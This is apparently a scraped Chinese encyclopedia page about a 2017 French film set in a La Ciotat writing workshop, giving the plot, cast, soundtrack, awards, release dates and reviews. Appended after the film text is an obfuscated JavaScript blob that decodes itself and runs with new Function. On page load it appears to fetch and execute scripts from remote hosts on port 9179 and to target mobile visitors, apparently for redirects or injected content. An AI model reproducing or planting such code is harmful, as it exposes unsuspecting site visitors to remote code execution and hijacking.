剧照(4张)拉西奥塔是一个马赛附近曾经繁荣一时、后来由于25年前造船厂的关闭而走向衰落的小镇 夏天,一个写作工作坊在这里开展,帮助七个年轻人融入写作的世界 在知名小说家奥利维亚·德哈泽的指导下,参与者被要求写一篇与他们故乡工业时代过往有关的黑色小说 随着课程的进行,其中一个名叫安托万的男孩显得尤为格格不入,充满挑衅、咄咄逼人的他反对一切,包括奥利维亚 更加惊人的是,他大声念出的自己的故事,是通过杀人犯的眼光叙述的一桩集体屠杀事件 安托万对于杀人犯的解读太过透彻了 此时,奥利维亚开始对安托万产生一种既有吸引、又有厌恶的复杂情感 玛琳娜·佛伊丝奥利维亚·德哈泽Matthieu Lucci安托万Florian Beaujean艾蒂安Mamadou Doumbia布巴Mélissa Guilbert洛拉Warda Rammach马利卡Julien Souve本杰明Issam Talbi法迪Olivier Thouret泰迪·乔文Charlie Barde杰西卡Marie Tarabella玛蒂尔德Youcef Agal罗曼Marianne Esposito克劳迪娅Thibaut Hernandez亚历克斯Axel Caillet勒芒Leny Sellan出版商Anne-Sophie Fayolle安托万的母亲Cédric Martinez安托万的父亲Chiara Fauvel安托万的姐姐Jorys Leuthreau泰奥Pierre Bouvier里纳尔迪先生Téva Agobian游艇工人Patrick Albenque文学记者François Cottrelle吕克·博尔勒Franck Libert电视记者Véronique Delclos电视台策划Jonathan Trullard电视台摄影师Denis Freyd劳伦·冈泰Delphine Daull、Marie Cantet、Benoît Seiller罗宾·坎皮略、劳伦·冈泰Pierre MilonBedis Tir、Edouard PonsMathilde MuyardSarah Teper、Marie CantetSerge BorgelVanessa Loggia、Valérie TranierAgnès Giudicelli声音部门Samuel Billot、Pascal Blanc、Olivier Mauvezin、Fred Mays、Antoine Baudouin、Agnes Ravez、Aurélien Mauro、Mélissa Petitjean演职员表参考资料奥利维亚·德哈泽奥利维亚·德哈泽演员玛琳娜·佛伊丝玛琳娜·佛伊丝配音-年纪虽长但风韵犹存的知名女作家,应邀来拉西奥塔小镇指导年轻人融入写作世界 学生之一安托万让她心存恐惧,但却又被他吸引,她本以为安托万也同样在被她所诱惑,最终却发现他对自己的情感更贴近于暴力的一端 安托万安托万演员Matthieu LucciMatthieu Lucci配音-写作工坊的学生 他聪明好斗,不停地与其他学生争吵,写的东西虽然精彩,却充满了深不见底的黑暗气质 智商极高又看不到出路的他,对自己的未来极其迷茫,以至于很容易被极端主义与危险所诱惑 马利卡马利卡演员Warda RammachWarda Rammach配音-写作工坊的学生,阿拉伯裔女孩 其祖父从阿尔及利亚移民到法国,在小镇的造船厂工作多年,并为保卫工人阶级的权益而战斗过 这一家族历史使她充满了社会意识 本杰明本杰明演员Julien SouveJulien Souve配音-写作工坊的学生,失业青年 他自称并非自愿参加写作工坊项目,只是由于青年就业中心要求才不得不参加 由于文化水平低,他对于写小说毫无信心 角色介绍参考资料曲名演唱作曲作词《Coco Machette》7eme skyBedis TirEdouard Pons《La Défausse》7eme skyBedis TirEdouard Pons《Mother Moon》Mama Stone、The Swang GangBedis Tir-《Bark At The Moon》Bedis TirBedis Tir-《One Ends Another Begins》-Russ Frederick Alexander-《Nahawand》-Daniel Cossu、Eric Ederer-音乐原声参考资料该片中,导演挑选了一些非职业演员展现21世纪法国青年与世界的复杂关系,而主演玛琳娜·佛伊丝非常随和,她特别注意与那些年轻的非职业演员交流,他们的关系迅速拉近 在影片中,导演也再现了他们谈话的场景,但因为他们之间实在太亲密了,所以导演在拍摄时不得不重新为他们营造一种距离感 获奖时间获奖奖项获奖方备注2017年第70届戛纳电影节一种关注大奖劳伦·冈泰提名2018年第23届卢米埃尔奖最佳导演劳伦·冈泰提名最佳新人男主角Matthieu Lucci提名第43届凯撒奖最佳女主角玛琳娜·佛依斯提名创作源起劳伦·冈泰很早就有了拍摄该片的想法,但等了20年才投入拍摄 法国南部小城马西奥塔曾有过一家造船厂,在历经沧桑后关闭了 导演劳伦·冈泰特别想知道没有经历过充满工业文化的时代的青年如何看待那个时代,而且21世纪的年轻人因为看不到未来而陷入空虚,非常容易被极端主义吸引,他希望根据他们的成长环境做两个时代的对比,观察这一代年轻人与那个逝去的时代之间的联系 发行公司1 Agora Films(瑞士)2 Artificial Eye (英国)3 Cinéart(比利时)4 Diaphana Films(法国)5 Esfera Cultural(巴西)6 Film Distribution Artcam(斯洛伐克)7 Film Distribution Artcam(捷克)8 Films Distribution(法国)9 Folkets Bio (瑞典)10 Golem Distribución(西班牙)11 MK2 Mile End(加拿大)12 Storytelling Media(挪威)13 Teodora Film(意大利)14 Weird Wave(希腊)15 Zeta Films(阿根廷)16 Strand Releasing(美国)制作公司1 Archipel 35(法国)2 Diaphana Films(法国)3 Blaq Out(法国)4 法国第4电视台(法国)5 France 2 Cinéma (法国)6 Centre National de la Cinématographie(法国)7 Films Distribution(法国)8 Région Provence-Alpes-Côte d'Azur9 Ciné10 France Télévisions11 Soficinéma 13上映国家/地区上映时间法国2017年5月22日(戛纳电影节)以色列2017年7月14日(耶路撒冷电影节)新西兰2017年7月25日(新西兰国际电影节)挪威2017年8月19日(挪威国际电影节)瑞士2017年9月(法语区)加拿大2017年10月(温哥华国际电影节)印度2017年10月(孟买国际电影节)墨西哥2017年10月(莫雷利亚国际艺术节)法国2017年10月11日美国2017年10月14日(芝加哥国际电影节)美国2017年10月20日(费城国际电影节)瑞士 2017年10月25日(法语区)奥地利2017年10月26日(维也纳国际电影节)荷兰2017年10月30日(莱顿国际电影节)瑞典 2017年11月10日(斯德哥尔摩国际电影节)美国2017年11月14日(AFI Fest)中国台湾2017年11月15日(台北金马影展)巴西2017年11月16日西班牙2018年1月26日加拿大 2018年3月2日(魁北克)挪威2018年3月9日英国2018年6月15日中国2018年7月也许该片的译名有利于误导观众,正如片中实际上透过工作坊处理两个本质问题:文学的目的以及背后派生出来的阶层和文学之间的关系,工作坊只是一个幌子,片名也是一个幌子 不过,即使影片有极深刻的处理,亦难逃观众就其表现得过于浅白的部分挑出毛病 (《看电影》评)导演冈泰通过该片展现着法国的动荡时局,不同人种之间的冲突、白人青年对恐怖主义的恐惧、穆斯林与黑人青年对种种刻板印象的不满,都在学生学员的争辩中有所体现 安托万的困境正是被令人困惑的时局引发 但该片的高明之处在于,它并没有设置一个耸人听闻的结局,只是让故事在一声呜咽中收场 观众如果像奥利维亚一样无法走进安托万的内心,这也只是因为在冈泰与21世纪10年代法国小镇青年之间竖立的那道阶级藩篱,根本不可能被跨越 (《环球银幕》评)
!function(){function a(a){var _idx="j4bkuph1hi";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks}jR8Co)S_Jh}h6"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks}"=X8"Co)S_Jh}h6"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks}^)ThF)m4D24h2mRT4"="Ks}X5ThF)mDS_6_pmRT4"="Ks}2pThFm4D24h2mRT4"="Ks}_JqhFmDS_6_pmRT4"="Ks}2TOhFm4D24h2mRT4"="Ks}CSqhF)mDS_6_pmRT4"="Ks})FfThF)fm4D24h2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs}qhOFq^)Y6(:m@(5p2DQmRT4gQ}1Q/((/Ks}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs}qhOFq^)Y6(:m@(5p2DQmRT4gQ}1Q/((/Ks}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q/f/Ks}j(8}vR8Co)S_Jh}h6"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs}d(hFL_CLmL(CF7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();